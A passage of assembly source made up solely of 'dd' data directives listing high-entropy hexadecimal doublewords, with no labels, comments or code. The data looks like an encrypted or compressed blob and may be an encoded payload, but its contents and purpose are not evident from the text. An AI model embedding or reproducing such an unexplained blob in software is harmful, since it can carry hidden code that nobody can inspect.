0E7CFF082h, 6E555B5Ch dd 0BBF5020Bh, 4CCDC16Dh, 89C053C2h, 0DA8318F1h, 1598FDE8h dd 0B900E6F8h, 87FB7C8Fh, 4E8B22A3h, 94A80F9h, 144ABD8Dh dd 22DC1DACh, 76D18B25h, 0C53C401Ah, 0A502CE12h, 0B6602BC0h dd 0CB905711h, 5A00D506h, 0DE84F9C2h, 2CE44508h, 0B8468C1h dd 0D95C8A0Fh, 0CDBAE965h, 508C9F3h, 0DA53E81h, 0F3EDBB00h dd 40221427h, 2C9D2B61h, 49341AADh, 67736D22h, 16916074h dd 0C4A2602Eh, 0E8258723h, 1F58000h, 0A23DE961h, 32C4D546h dd 4955FE90h, 0CC5CB5FBh, 200729AEh, 2E650948h, 1F05A589h dd 0C9EA29FEh, 146044ADh, 85133365h, 9C74A21Fh, 7BDF296h dd 3D2FC6E8h, 2529F423h, 880260ECh, 0A5BC99E1h, 8A3D5F86h dd 3CC4804h, 2C3D6E81h, 0FA54CBA5h, 0B29B7325h, 0B924ADEEh dd 0DBEAD5BFh, 0ABDA811Fh, 123AEDCAh, 8089DB99h, 2AA18243h dd 8C8A0939h, 36C0E922h, 0EDA01D09h, 0FC5B632Dh, 3400C76Eh dd 0F84D68E9h, 6612C229h, 0B189A87Dh, 80EDB36Bh, 122004BDh dd 8583095Bh, 7FFCC02Bh, 3CD500DEh, 80891496h, 2B2DABC7h dd 0C2BE6DD2h, 0C9DC5C1Dh, 0ED2D550Ah, 251AE908h, 0B389F1E7h dd 59D2827Bh, 536C550Eh, 1AE5049Dh, 0E6B5AEE8h, 0B6D0A005h dd 2F50027Ch, 0CE58EA80h, 0DF9A875Dh, 7440E382h, 1646D6BDh dd 570060Ch, 184155F4h, 0D2068B6Bh, 80A007E6h, 0E15A1BEh dd 0AC57CB2Ch, 924B09CDh, 0BAD1F4B7h, 74FD9344h, 42C22DC0h dd 1607AD03h, 0CCD7D575h, 0AC155E07h, 12521340h, 3D721CA5h dd 0A0816D7Ah, 0A4EAD44Eh, 4BEC3C65h, 0D7803E9Eh, 0A32C2638h dd 0E76E7104h, 71BE3159h, 2E263DA4h, 0F65B6A9Dh, 218E7EC0h dd 2002DEECh, 0FF1F952Ch, 958666E1h, 9C09435Ch, 46D8D170h dd 0F54E6FF6h, 707DD38Ah, 6EB7B704h, 8207F989h, 7494B236h dd 0DA9F51CBh, 0F4842EB7h, 0A6B6604Dh, 5B91ABE0h, 2B509801h dd 0D495FBFAh, 0F177123Ah, 0FDCF0156h, 0FCB32A18h, 9BD2822h dd 0E3025E92h, 0AFE56DCBh, 6EB63575h, 0D78B28A0h, 8DCC321Ch dd 0FFFD568Bh, 7D82B103h, 0D15550BAh, 667C2FE2h, 0BCA95ACBh dd 1225DC9Bh, 8094376Ah, 0B48AB10Ch, 352FBF03h, 259B844Bh dd 22496801h, 87B53F70h, 0B6EC022Ah, 37FF6F21h, 0E98D80ABh dd 0F4352E37h, 4E60DF09h, 0D6EB5E94h, 0C1581946h, 7713A204h dd 0DEC5FB11h, 0EC5361AEh, 0BA9E6E01h, 0AD707E80h, 0DE03135h dd 200591A0h, 97024E97h, 164F0E8Bh, 905D7260h, 0F0BB27CEh dd 8A8D0D4Eh, 917EE06Fh, 0B8461F30h, 0F8125E1h, 64EBF056h dd 0E179F2EFh, 9935F4h, 0DE69B4A8h, 431D261Bh, 589C4F7Fh dd 63621FDEh, 0CB80CBF6h, 0EDA48024h, 0F2468FE4h, 0A9AC8753h dd 0C68DD024h, 0FEF60A61h, 386C1395h, 0CB4B59CEh, 0AC4F4D8Bh dd 0B83925E8h, 5DEBBAD9h, 0F0B76116h, 0D3DE03B3h, 43C6C7D9h dd 0BDF8A520h, 6F1A55AFh, 3AB6A240h, 0C0A02CF5h, 7E67D461h dd 472900E7h, 93AFC2A8h, 0A501F260h, 0E65AB1BCh, 0F72B658Bh dd 0D0F83483h, 58682D19h, 3E926E2Bh, 0CEC9CB84h, 8A17667h dd 2DB040D7h, 4B268657h, 0FC2FC0DDh, 16556292h, 4130D80Bh dd 0E2DAF1F9h, 0AEBEF880h, 29B619Fh, 9DD15027h, 0E0A8D990h dd 52FE4077h, 9700717Fh, 11DB81E1h, 4A6ACE19h, 0FB1FA05Bh dd 4B929697h, 295B8AF9h, 1411EA40h, 24D77D00h, 0BDFE9F41h dd 0E80047F8h, 14E402BAh, 143729F7h, 0E16E83EEh, 3273BCC0h dd 92019170h, 8EA21211h, 8AC8A5DDh, 687848h, 811EE4BCh dd 7B3FEDF7h, 0E95F6313h, 8CF88823h, 93EE7BBCh, 7CA01CB6h dd 0D001956Fh, 0EC316951h, 243F9FCEh, 1020BE77h, 2EBE10B6h dd 0DE085B31h, 8F12EC00h, 0E83CC75Fh, 0C2CC2659h, 2947AD78h dd 39178513h, 8A052A7h, 4D0958FFh, 16DD3168h, 5F176B2Eh dd 0F2CFA1C0h, 1D850112h, 5848D4ACh, 5F0B957h, 0EA00F502h dd 0DC89777Bh, 0E688BF08h, 0A6784B4Ah, 3017B239h, 8805205Ah dd 0EDB529B6h, 8BD291EAh, 9C6B2FFBh, 33021723h, 5EA5B414h dd 5860668Eh, 0C814E495h, 610216C0h, 6396FE8Ah, 5B833BC4h dd 1D17A7CCh, 0ACD8FD03h, 641C8C1Ch, 84897862h, 558CD7C9h dd 0AC4BD65Ch, 1DB251A6h, 30C30h, 6705B597h, 0F3A68B49h dd 6D278698h, 0AE424526h, 0D426D4A1h, 0F86A843h, 0B41D2B86h dd 0C10540E1h, 7303E3BFh, 0C3B56DABh, 669CC254h, 80930079h dd 4F5AC06Eh, 3B00EDFEh, 705097F8h, 4E5396Fh, 0FC842759h dd 0C184BC5Bh, 157D9501h, 8216E22Ah, 732135BDh, 295282A1h dd 4BD01185h, 0B81F5B4Ah, 0C2830EC4h, 0C01DDBEAh, 9F403BD5h dd 89B006E7h, 932FA9BDh, 3120502Ch, 795FD889h, 8160811Eh dd 0C962F2D2h, 0E76378h, 0D36C2E7Ch, 9E22247h, 0F561B4E5h dd 0F8B1079h, 0BBA5C883h, 1DB61310h, 2A7AAB0Eh, 0AF98D004h dd 0E3DDC0E9h, 3309B80Dh, 941645BDh, 0D3801711h, 6010EBB7h dd 62B90241h, 89198789h, 799255BAh, 0FD6F4C5Fh, 79B50108h dd 0A5C82771h, 21974947h, 9D315111h, 5B33A42Fh, 91CB3597h dd 0B382801Dh, 42C1391h, 0D1F33B1Eh, 0D0D1B8F4h, 7565C0BEh dd 9D26EE2h, 0DBDF157Fh, 3E45C071h, 24DB7BFEh, 871C9158h dd 2D507722h, 0B5910B8Ah, 1B2AC283h, 4961F309h, 0CB6BBD33h dd 0CB85073h, 7988B28Bh, 1DE5890Bh, 97EB9655h, 8740A74Dh dd 0E3829DEh, 13DB93B8h, 0AC99EDF6h, 73058C18h, 0E48D7414h dd 951220FCh, 887FE9E5h, 50555ADFh, 7803B37Eh, 67009E22h dd 3A0CD4D8h, 9DABE2E0h, 0F8CB117Dh, 0BED8532Eh, 5FF359B6h dd 0D283AE8h, 0DDBD0317h, 0D5DA92E5h, 0CB89A427h, 3EC62DE9h dd 0F28B09DEh, 0AA5E1202h, 7169E47Eh, 39D46B09h, 2D576A40h dd 0D9560050h, 87CEE46Ch dd 0B6007C5Ch, 0B958040h, 1CE98F5Dh, 55FFF2F4h, 0CC3E1E52h dd 509B000h, 4FCDDE03h, 9500AB7Fh, 8C25A4AAh, 5AD183C7h dd 0F7FCE45Bh, 0EFAE992Ah, 0C6DC2325h, 8AD89DF6h, 10A517B4h dd 0ECD0FDh, 0B3DC9A5Fh, 0DDA8084Bh, 1924AF04h, 0DEBF39EFh dd 0DC15C2BBh, 0EC4663D4h, 6D3E0552h, 119F05A5h, 80FA200Bh dd 0AC2B0EFh, 61E9E781h, 0BE84351Ch, 0E90788AAh, 1718BCEBh dd 1CCE775Ah, 0BD26562Ch, 0CFDB8109h, 0E5925007h, 0E965FF33h dd 57812009h, 7F39662h, 2523A278h, 255C5E99h, 1E399DC1h dd 0ABFC630Ah, 0FF0C9068h, 0DC579ED1h, 0F5DFAF0Bh, 0CD895F25h dd 0D2B139D1h, 8E2E2079h, 0F9CC213Ch, 16BC1817h, 0BA51439Fh dd 6ADBA370h, 78EC9302h, 2D18D352h, 25BA0D34h, 9DAFC52Ah dd 907B926Dh, 178A97Dh, 310FCFDEh, 7B32206Fh, 0CB0071D6h dd 3C5372D7h, 15B7574h, 5CEFF6FCh, 20585AC4h, 0AE152A49h dd 0AD539061h, 1A7257Eh, 4F0C09C0h, 3CA6F43h, 0FF2F15A0h dd 8A50B901h, 0ACE95BDDh, 0B4F9382Eh, 69E98840h, 0DBD7190Ch dd 0BD093B41h, 15ED2AD8h, 0F883F3C1h, 5A0DDD6Bh, 54BAD212h dd 51178001h, 2973FE1Ch, 1977E888h, 0A4B60008h, 0B43C1361h dd 8A5089EDh, 904C5095h, 143812C0h, 0F85912F6h, 0AAECC54Ah dd 0A81C197Eh, 6C50C0D1h, 2E09BB0Dh, 76B9D0B7h, 2E5B816Dh dd 820FE731h, 0ADCA7Ah, 0E3498F2Ch, 270DDB15h, 5C5EFF6Ah dd 7F9D00DCh, 5BDC236h, 569007BFh, 0B3B6641Dh, 7D0B07AEh dd 0E34C21h, 5B8BAC15h, 0C95E453Ah, 0F4E17D02h, 4212DCABh dd 1C9D8438h, 40A211BCh, 82D9BF10h, 29C59960h, 9D70E680h dd 0AEB1B290h, 0E747BE00h, 5C5462A8h, 1E9E00BBh, 0C4BF57F5h dd 3325F760h, 3CF65C5Bh, 17EBE984h, 2226BD0Fh, 8D89280Ah dd 47C4B5D8h, 37C78102h, 5E72E032h, 0BBB4113h, 945EB1F5h dd 0C0042C09h, 52E6BF79h, 0E02BA525h, 0A4890F17h, 0E910BDA1h dd 45009488h, 21B31208h, 5A9E9Fh, 318D9B3Dh, 0A3A2F948h dd 0AD0E4F5Ah, 27ABB3B7h, 35041447h, 1F9F599h, 0D11EA76Dh dd 54711323h, 822AF4Fh, 0D3ECA400h, 697910C7h, 23BB0AA9h dd 98E6A93h, 71D9E95Fh, 8236348Bh, 75068D85h, 0BD145D66h dd 7009041Dh, 821E2580h, 6D481055h, 0F84E013Ch, 7DB8030h dd 29F72A5Fh, 0E9FE814Bh, 0BF08414Bh, 0A4E37AFBh, 77CE274Eh dd 7FA6F05Eh, 0D5127299h, 24F2C36Eh, 88832A29h, 4E3018F9h dd 84A583DFh, 827B509Dh, 15436567h, 97699F65h, 3D082A73h dd 1A467CFCh, 384E7C00h, 0E05D8267h, 0E3129990h, 0D0676A1Fh dd 77F69490h, 0BD51989Ah, 3E46C610h, 7FC25800h, 0B2252A85h dd 837A0510h, 1F60789Ah, 171410CFh, 6BBF5F61h, 561B2932h dd 20A21E0Eh, 9C2CAFEh, 92599D67h, 8D2B987h, 0BAB7550Bh dd 0BEFC6384h, 0BB19D3ABh, 9C83683h, 0C5D64DB5h, 9DFCDBB9h dd 0F92FBF04h, 31FF286Fh, 6BC6B308h, 0DC66DCC9h, 300810F7h dd 0BD1209ACh, 0EBE61DFDh, 4466FD3h, 0F6A95526h, 7A08BE81h dd 0E08AF62Fh, 3D147Ah, 0FA8BFCE5h, 5B1FCF81h, 0D56A409h dd 83D7788h, 0BC42A587h, 0CA7F41F0h, 0BD844AB7h, 8C1CAC43h dd 8C51DD00h, 0F6A5653h, 0C87A4B76h, 0B0F4DFCh, 20BD91B5h dd 66674C16h, 3CFD0008h, 0DA20BCFEh, 852F315Eh, 5CA962F9h dd 0CF7BE962h, 4CFF1750h, 3D122391h, 0F862F31Ah, 0E7941DD2h dd 815EC0EFh, 590A96EBh, 48CA444Bh, 0BEFA127h, 7BED3E61h dd 0BF477C0h, 85C76E91h, 0C04F4E54h, 82B2E55h, 378FC88h dd 4149BD9Eh, 0AE8D60CAh, 13DDB420h, 14E7E298h, 0BE654353h dd 3D10DE4Ch, 60611E2Ah, 1EADC42Dh, 0EDF2EB80h, 6CA8C5D9h dd 0B3076B2Ch, 0C0E84916h, 0E1FFF5A0h, 2D46B7BDh, 5A1752DEh dd 66E040FEh, 93D6E781h, 0B7244D80h, 5E11C747h, 48C02658h dd 0BCA309E6h, 52F71712h, 4A5596BEh, 73313520h, 0FD9D165Bh dd 0E2BEE816h, 4995104Dh, 69713AEh, 0AD270459h, 3AA3E0F5h dd 0A69866FDh, 0B09E1A28h, 5CBCA427h, 0B47CDE62h, 0E02F3012h dd 2025AB04h, 9CF3831Eh, 0EB8C55F0h, 43D16C88h, 0EBDB5F15h dd 4A40EC97h, 1E042185h, 91BC2D41h, 4DAF30C8h, 29E4C216h dd 55C462F5h, 0BAD5DFBBh, 0E29DAC63h, 1FA6280Dh, 0C009674Ah dd 4E7029DBh, 0B2310A57h, 27A5B0C4h, 6A4F1EF2h, 1B00F26Fh dd 685B51F8h, 322FA0DFh, 81B406B4h, 63200EA6h, 0F7E04BECh dd 1FC2F828h, 0EF60A997h, 0F2674061h, 9B5E6072h, 5B348D9Ch dd 6E9820D8h, 0F495DDECh, 85894255h, 2FCD3F7Fh, 0D7FC6070h dd 429DEF16h, 2070B07h, 66375D09h, 0FF8F8D89h, 0B940B39Ah dd 0F2593B2h, 199E623h, 205BBE60h, 2F6178ADh, 1B7EA016h dd 9FE8D204h, 0D29EBDDFh, 0CD80BD9Ah, 0B0DD3B30h, 8C565D01h dd 2F719D2Bh, 80A0702Fh, 7BEFB4D7h, 5004356Fh, 0EECC9BF6h dd 99A2278Ah, 5525ADF8h, 0FBAAE2D4h, 5909785Dh, 7196B301h dd 94D96E8Bh, 45A1DB20h, 538F6C26h, 0ECF5004Ah, 34A9752h dd 16902D75h, 1759A7D3h, 0ACFC9418h, 0E4C4684Ah, 382E59B1h dd 0A639BBD1h, 5619A570h, 0EF801275h, 412E272Dh, 0DE3ABBCCh dd 3B75BA8Bh, 0B72D70D8h, 0B99DD179h, 0EDB7B622h, 0ECCE40A2h dd 7B034D3Dh, 0BBD635A0h, 7D7812B8h, 60B7F31Dh, 0F8F49814h dd 5F503990h, 1E5C572Dh, 0C8E1BF63h, 3A5B67DDh, 60818A90h dd 4F14C081h, 9B79C634h, 0A7B5803Ah, 48E21701h, 0E4770070h dd 66975E2Bh, 615B18F8h, 16B2B2A6h, 2D019030h, 7CD161AAh dd 83FF35EBh, 31179D7Bh, 6E092599h, 954A768Eh, 8177DB6Bh dd 54680A82h, 27153CD0h, 3D5ED95Eh, 8E4B1B11h, 9663B9BEh dd 1980AE3Dh, 6D9F46D8h, 0F1049121h, 5F0C497Eh, 0C5032781h dd 0B8F1C43Eh, 751EA279h, 5C60AFCFh, 54B4863h, 0D89017CFh dd 0EDD62C87h, 0D86B5397h, 0C705382Eh, 0EF1C1FFh, 30FD50C1h dd 924EA33Ah, 12BD4452h, 958C18ACh, 900991D0h, 0F4B53195h dd 0D654A7EAh, 0B47B0255h, 0F57E8F0Fh, 0A5325149h, 0B050D7Bh dd 0C6FC05BDh, 202F984h, 12890F96h, 1705EF03h, 2C814A29h dd 5F828E10h, 9FD5396h, 71E2534Fh, 0E50F1C14h, 0B8D3242Ah dd 8DAAD88Ah, 4498AF1Dh, 9E706017h, 0C8AE4B25h, 383E6B5Eh dd 0BE49001Ah, 0B0416FC8h, 0BFA00111h, 7CE7ACCh, 0CEDD2B5Fh dd 82F7DA2Fh, 75B25458h, 5AAC78C7h, 0D633CF02h, 25555E0Dh dd 0B7DC0ADEh, 9CA022F1h, 61180537h, 20E9ECE0h, 5B8B9760h dd 7EDC92D4h, 6099142Fh, 124C553h, 0BE5E808Fh, 4393168Fh dd 0A1F6614Ah, 29301AB2h, 9F180B42h, 24541BCFh, 91F3DA12h dd 946F845Bh, 25C0FCD4h, 6458CD5Bh, 350D601Ah, 0F1730B11h dd 7918D188h, 2D000F67h, 5D3DFC38h, 1C94ED01h, 8B29D728h dd 0BEE2A530h, 605A4F75h, 517EAB9h, 85C50102h, 758AE438h dd 56F8EE29h, 0F5B3BF05h, 3CD12B0Eh, 28160381h, 96B860BDh dd 850138F5h, 23F90EADh, 8C401244h, 0C960904Fh, 7A895495h dd 35DD55C2h, 80E3A33Ah, 0F442AD17h, 9F252272h, 11B6E5F5h dd 76BB0759h, 50843B70h, 2D4920FAh, 61032F97h, 0E392DB24h dd 192CA814h, 14C47D27h, 16E9A37Ch, 5FE20C07h, 74FED070h dd 2E07477Fh, 13C97CC5h, 0FDBA73A3h, 1E47BBBh, 950917E0h dd 50A2211h, 29BD2B53h, 5E5B8192h, 18FF6BC7h, 1EB0CBFFh dd 816982BBh, 1DDB45B9h, 0E25C26E6h, 0B8983017h, 0E6EE7325h dd 0BD2909AEh, 9C571FA9h dd 7E364596h, 9206782h, 0DB978C70h, 1CF1D848h, 0A56B1E3Fh dd 11647A3Dh, 0A42579B5h, 3213FA84h, 7CD8260Bh, 0A92002BCh dd 515E97E9h, 1123727h, 9D89F91Fh, 8BC55179h, 0B8762DC1h dd 63109F8Dh, 83008803h, 0C74355E0h, 2DFB1280h, 0DE5B794Dh dd 818D0182h, 0D2F15515h, 57253142h, 0DF818DB8h, 0E9938602h dd 0E0B3900Eh, 1E4FBF85h, 6A72EEBDh, 0C8CABFD5h, 0E57A18D3h dd 0C192B2D9h, 6A7EC155h, 0F050B62Fh, 289D09A9h, 136D223Dh dd 9B07995Fh, 43EAC089h, 25302032h, 287EE8F4h, 5506DD09h dd 81023E6Ch, 801C69E7h, 2DB55E6Eh, 0C901D937h, 5E9BD8B4h dd 1254BBE0h, 0B8190FFEh, 5ED93A39h, 0B3E1ADA6h, 0EDCFF428h dd 52B5A118h, 0AD12CDC6h, 621444E3h, 1200C516h, 57AFBFAh dd 901B601h, 6E22D5BDh, 278078DCh, 1A4644EBh, 42FA294Bh dd 53D1FFFAh, 177D2040h, 0B19C5F9Fh, 80E8209Dh, 0B6AB5D7h dd 0AD9D3302h, 109DD372h, 1C3B8F3Fh, 0C034BC52h, 515BF8EFh dd 0A801B042h, 4581E395h, 8861B953h, 5FC84Ch, 69586BA7h dd 0C642971Ah, 370089FEh, 632C14Eh, 7192438Ah, 0B8B7975Bh dd 98977081h, 93413E0Ch, 0DB2B0465h, 0C018C8ADh, 99EF79AEh dd 4BE9023Bh, 6924B5CEh, 0C06D27A2h, 1B8BECE0h, 51502DDDh dd 89085256h, 4B6240Dh, 0C35F61FEh, 0AB8C092Ch, 0F94EC6CBh dd 13A865h, 2C0B5EF7h, 60566CD6h, 1F1D514Ch, 68A5AD85h dd 27805765h, 61DA5DC7h, 427EEB0h, 70777B24h, 0C60C74F7h dd 4E14BAA2h, 0BF7B9DFEh, 0E7181471h, 975DBB3Ah, 0B1526976h dd 885FF7E6h, 0D9174898h, 0C112CBDEh, 577D6E5h, 1BF07AA0h dd 843BC07Fh, 0CB170426h, 0FEF98D89h, 0ED94844Bh, 0B7FF2765h dd 64D50056h, 28CF16A7h, 68964814h, 0E5118D2h, 9761B565h dd 0ADCDDCAEh, 596A307Dh, 0E8CA234Bh, 81021722h, 0D32B69F3h dd 0EBE5C02Ah, 0B04F25F9h, 70E65321h, 0C47DD653h, 0E45F1E2Dh dd 14F1A771h, 6D671980h, 986C04B9h, 0F1FE02FDh, 0AC15BA2Dh dd 52FE64D5h, 0D22C5DDh, 0BF009C98h, 32E88FE5h, 7A137C67h dd 66A60F69h, 0F0B217BBh, 0A705BFFCh, 0BA31E1F3h, 81EAE325h dd 0A724D17Ch, 0BF71C097h, 0C3204B2Eh, 908C60F7h, 0B0E08157h dd 5E60B00h, 0A7E1BB61h, 97507647h, 0D98AE680h, 2ECEC82Bh dd 81D140DEh, 25619EC7h, 91215DBh, 2510EA7Ch, 26D50C62h dd 4A98521h, 5E5BD10h, 3FA45582h, 50D7BC86h, 0C4B9906h dd 202ED7C9h, 0A1B64F3Ah, 68A79609h, 45CF7A4Bh, 33EC2E11h dd 1738E986h, 0C97997B0h, 4672558Ah, 0E44BB325h, 9F2145C8h dd 0A514FBDEh, 0C6FE3214h, 0A8A2A85Dh, 33096320h, 5E308DBDh dd 0FDCB51E9h, 19861E07h, 0C57C7474h, 0F3AFDBB5h, 0F959D3BAh dd 5FFE3100h, 2BB3BCh, 8786EB1Fh, 53D9F7C4h, 0DBF2CD2Dh dd 1B2083h, 0D42A0A74h, 9561CE16h, 0AF997200h, 649459A0h dd 20E49084h, 64982A69h, 6FA8084Bh, 60D08296h, 0F824A15Eh dd 2B1305DEh, 0C1EC9F3Fh, 203E1C6h, 0EAA143FCh, 8B8DB7C0h dd 18015BA7h, 2FD22BDBh, 0F680219Bh, 0F73543A3h, 71EF8102h dd 5E098426h, 6E007BB1h, 49D381FAh, 95519F19h, 9D8471D1h dd 6B290975h, 46805DDBh, 72E251FBh, 5C83F037h, 38BD2174h dd 1579FCC9h, 5035557Ah, 487C0E00h, 971C75Ah, 3634406Ah dd 3AA4A271h, 0A704F292h, 61090B59h, 6A442479h, 4CDDDCEAh dd 8997E702h, 0F0C8CA3Ch, 0B88E3880h, 0D1599C4Fh, 7B10B907h dd 8F40ED05h, 0DB116Dh, 0CA29B0C9h, 17B559B3h, 0F822314Fh dd 44B5575Fh, 84801891h, 0E53AFBF1h, 0C5204798h, 9D012F32h dd 0E14143D4h, 282EEFB7h, 5C9DDFEDh, 9C01F463h, 0F9D56F3Ch dd 5C2C4E75h, 0F6C70B25h, 814EC511h, 121821C8h, 50F95CF5h dd 20BE0479h, 118B03F4h, 98F8E689h, 3C1651C9h, 53D680DAh dd 3FF509C0h, 2D008CAFh, 0BF04029Ah, 6DF8E8CCh, 37601B25h dd 40070044h, 897301EBh, 5C4112BDh, 46B42E07h, 2F004E3Ch dd 0A40C7E6Ah, 38AC5C97h, 860764E0h, 0C4C3AD1Eh, 4B1ABCFBh dd 121C4F6Eh, 7597C0BEh, 7EA9AD9Ch, 23E2B15Bh, 0F1FF3707h dd 227AF97Ch, 0E64F9F43h, 1BE3A0ABh, 0DBA101B5h, 75D07939h dd 94E32E6Fh, 2A5FC24Fh, 961096D7h, 0AC01D430h, 5C0D3FA9h dd 3240E8E2h, 0C6A41Dh, 0BBCB47D2h, 319904CCh, 94605B26h dd 5216B02h, 0C601600Dh, 6DA99761h, 0CF43BF4h, 0F774F613h dd 2C4161DCh, 1769B1CBh, 839BBF00h, 900CF012h, 0ACDECE83h dd 84B8D8F9h, 0A6737000h, 0E38096ABh, 8A0F281Ah, 9D330A7Dh dd 1662209h, 0BED24ABBh, 0BC292B19h, 0B3CC86Eh, 485C930Bh dd 13C0DEBAh, 8C30BA50h, 0FCEDC1BBh, 86C69536h, 92FF1F20h dd 12EBB0A5h, 0AFF627B8h, 5B565F20h, 9067B858h, 0C9E55DBDh dd 0AC8EAD4Eh, 7E008C1Dh, 0A7C73069h, 0EC38F183h, 0F392C47Ch dd 5FA4BD21h, 0FE976FDEh, 9D208857h, 3F7247Dh, 0C3134EB9h dd 5A0389Ah, 0FE251935h, 0ECAB5277h, 1CA2FE9h, 0CA254D71h dd 0DEF47691h, 0D6AC4A07h, 48D125ECh, 817A89D2h, 42F29A8h dd 15A9A6C1h, 96BCB904h, 803011F0h, 3509E781h, 79097427h dd 78F32FA9h, 99F8778h, 8536F8A4h, 0C25A8B44h, 0ACD2E5ACh dd 0A69080F9h, 1CD28FAh, 0C261A569h, 6A95016Eh, 0DD5F02D2h dd 82CD6CBAh, 0A19AAB63h, 1900493Dh, 2277D26h, 606B7689h dd 0F5385CA3h, 4D220800h, 0B2D835BAh, 94A2525h, 9F4863D1h dd 250BD508h, 8A095C50h, 60310FDAh, 9E585A54h, 57486196h dd 85E7F03Bh, 0CA438213h, 0ECEF60BEh, 6A48C2C5h, 0CBF73DD8h dd 0F32AACCDh, 5F5724C7h, 0DF56DD12h, 0BB2D04AEh, 5DA2AFE6h dd 0B62DB500h, 0F0232BF7h, 0AC7E0A00h, 8532062Ah, 4A04006Fh dd 664557F2h, 0D5B67BBh, 2DDAE3A4h, 0D56AF9B8h, 5969615Ch dd 0BB41004Dh, 22A4B94Dh, 50C913Ch, 7D9F1637h, 0C1001EF2h dd 241CB7C0h, 8E00FA34h, 89E96765h, 7C2C86AEh, 0CF810F83h dd 5CE1AB23h, 0C4605F5Bh, 0BD580961h, 905654BCh, 0BF50A4A0h dd 188DEB0Fh, 90B63649h, 0CD47B4E0h, 92947BB5h, 7DF3C8C9h dd 0A977306Fh, 0EB7D79F8h, 79508BDBh, 8AAB4BC1h, 982225A1h dd 0B135E9E4h, 2DD58B7Ch, 0D200F57Bh, 2C8061B3h, 88A30075h dd 9F15BF23h, 0D74B3162h, 0FB86ECEh, 768C8F4Fh, 6E204A56h dd 0E4E025Eh, 0C17E9903h, 282FD06Dh, 0BD9FBA81h, 0DB4D8BFFh dd 58DBFD08h, 5B95048Eh, 97F1D0CCh, 730BE301h, 50FCF53h dd 82A27Bh, 3CD16B0Eh, 2D95A72h, 648B5758h, 0AE56FD8Ah dd 938156C5h, 953D1ACDh, 8FEEFE25h, 403FEDBDh, 0BC95F33Fh dd 23E868FEh, 0ED98ECB5h, 0F26A2FF9h, 9CB9D745h, 109F7FA8h dd 68D426h, 0F2516B8Eh, 96E5CDCCh, 0D1C8605Bh, 0D2F2F8h dd 45AFA4E4h, 679661B1h, 5E0B4013h, 0FB71F8B3h, 96150710h dd 0C011ED9Fh, 7E4CDFF0h, 64B12FE3h, 0DA2B1425h, 0C116C83Dh dd 6EF36D51h, 6CDAAD80h, 20E09840h, 6102238Dh, 3354CCBFh dd 453A5D0Eh, 9D4D6D4h, 2A986529h, 0B4FD9B82h, 0BD57E492h dd 0AA73009Ch, 8133C872h, 0F0FD352Dh, 1D25206Ah, 0CDCDF54Bh dd 0D87C101h, 80B3302Fh, 0D39DD2EFh, 859D0542h, 0F985E40Bh dd 73B98997h, 3B08701Bh, 5E7F3500h, 0EB809E83h, 0B18B9786h dd 0CCC07DEDh, 0AC67C8Ch, 4427997Ah, 96D304DBh, 2EC8A18Dh dd 1723AF6Bh, 112FF0A5h, 406810Fh, 1B61BD33h, 1CEDDAEh dd 0AC2743A9h, 2DEC56Ah dd 278837F3h, 66FD540Dh, 0B1575C84h, 0E8217512h, 0D113A404h dd 8EC73694h, 0BBF72175h, 0D2F2313Dh, 4534AA25h, 84E6F2BEh dd 98A88B0Fh, 779D9C9h, 7FFA3AFAh, 0D180236Ch, 7D5205CFh dd 13934862h, 6FBA23A9h, 1C234Fh, 0EC083FBEh, 8F0791F7h dd 0BD2B83E4h, 38BA136Eh, 0BDBD8053h, 0C27680B6h, 2A486C7Dh dd 43AF8B4Bh, 1890F98h, 96FC2B17h, 6DA8CA30h, 676B1D44h dd 0A91D009Fh, 0E559034Eh, 9695604Dh, 0AB2935ABh, 7B7F802h dd 64B7FD96h, 6D5E0100h, 480BACAAh, 8082139Dh, 0A074C9DBh dd 0F512C923h, 1BAC94E9h, 0E6BD008Ch, 0C4BC82D4h, 0F2B71A0Ah dd 22492D73h, 18C022D6h, 99F3896h, 405BD92Fh, 54D0E14h dd 93BC4EB4h, 0B4DA00AAh, 328FCFD3h, 0F7949794h, 6DB7535Ah dd 0F160E8B0h, 0A06E9F26h, 78E9ED16h, 28C19ACh, 7F2E2140h dd 1FE13E51h, 13C972C6h, 14A3EE46h, 560B8784h, 0DF0745F8h dd 84D852Bh, 111169A6h, 0A06FE913h, 0DD128A1Dh, 512C18Bh dd 8F172ABBh, 0C927A72Ah, 2934FCC7h, 17382687h, 64EBC890h dd 33810912h, 0EABA0400h, 7CA83AAh, 0D88A50D5h, 0DAC04C90h dd 0D0B35F27h, 0DCF7B6A5h, 0E6B22B04h, 65BE4993h, 0E189BFBFh dd 51392360h, 41E2791Eh, 2041B3Bh, 7A9BA87h, 0BE169BC8h dd 59A08997h, 699001C8h, 805F7102h, 988D608Ah, 1EC3FC2h dd 84429DDCh, 3E909629h, 0E009FBF3h, 4E7F727Dh, 1CCC09F2h dd 2256D62Bh, 0E2714A47h, 162E4C91h, 80E1DBCFh, 0FDB68376h dd 2759480Ah, 4ED9D0Bh, 8541185Dh, 2B96840Bh, 971C625h dd 1CF58D09h, 29E58E74h, 0FFD221EAh, 19F220D1h, 66A30B4Bh dd 3A95768Dh, 282F9C6Eh, 0C2119093h, 2260915h, 518902Eh dd 505B5790h, 57FE37EBh, 0C9E8CDF8h, 0C5DB6F09h, 1C018C8h dd 5EFA6E9Ah, 0CC52A820h, 40559C50h, 0E9275B2Eh, 701674C2h dd 0D382A9C4h, 5DF57095h, 0D521490Ch, 0EDA9D8DBh, 6D4F2D2Fh dd 27CA8FCh, 88A4EFCEh, 0AFF110EAh, 55703600h, 58C953h dd 4D7893E7h, 0B590EA08h, 0F40F62E8h, 0C0815752h, 66AC05B9h dd 0AD31FD5Fh, 0BB507C00h, 19D6189Ch, 148F1A23h, 0CF90558Ah dd 0DF02B3B0h, 34986F29h, 4DA782CEh, 0BD5F0420h, 9AD4A5Ah dd 6557FAEDh, 671E588Ah, 0B8255805h, 1FA2ED76h, 0E88B2B09h dd 9EF0C7D5h, 65524998h, 1C59827Bh, 0D1509018h, 0A70958FEh dd 0F7542A8Ah, 306AE199h, 6925B5EDh, 0D2E72F0Ch, 0B8B733E8h dd 0B22210AFh, 73A10EDDh, 0B212B081h, 76BC5ADDh, 5AA9210Eh dd 4BC8BAA0h, 4901594Fh, 0E62FAB45h, 246E5770h, 8CB2BA19h dd 0A8E45D86h, 4B146120h, 0BF6EC05Fh, 8A25AAD2h, 0A1ADF562h dd 3AF26A99h, 0D420F511h, 0E9D92F7Dh, 1970C170h, 6314413Dh dd 49EB13BBh, 0C44BFC0h, 6872050Ah, 0B2F9856Ch, 8DD9002Ah dd 0FE765B77h, 2C733A36h, 7B15F072h, 6E8197E3h, 0E6999D01h dd 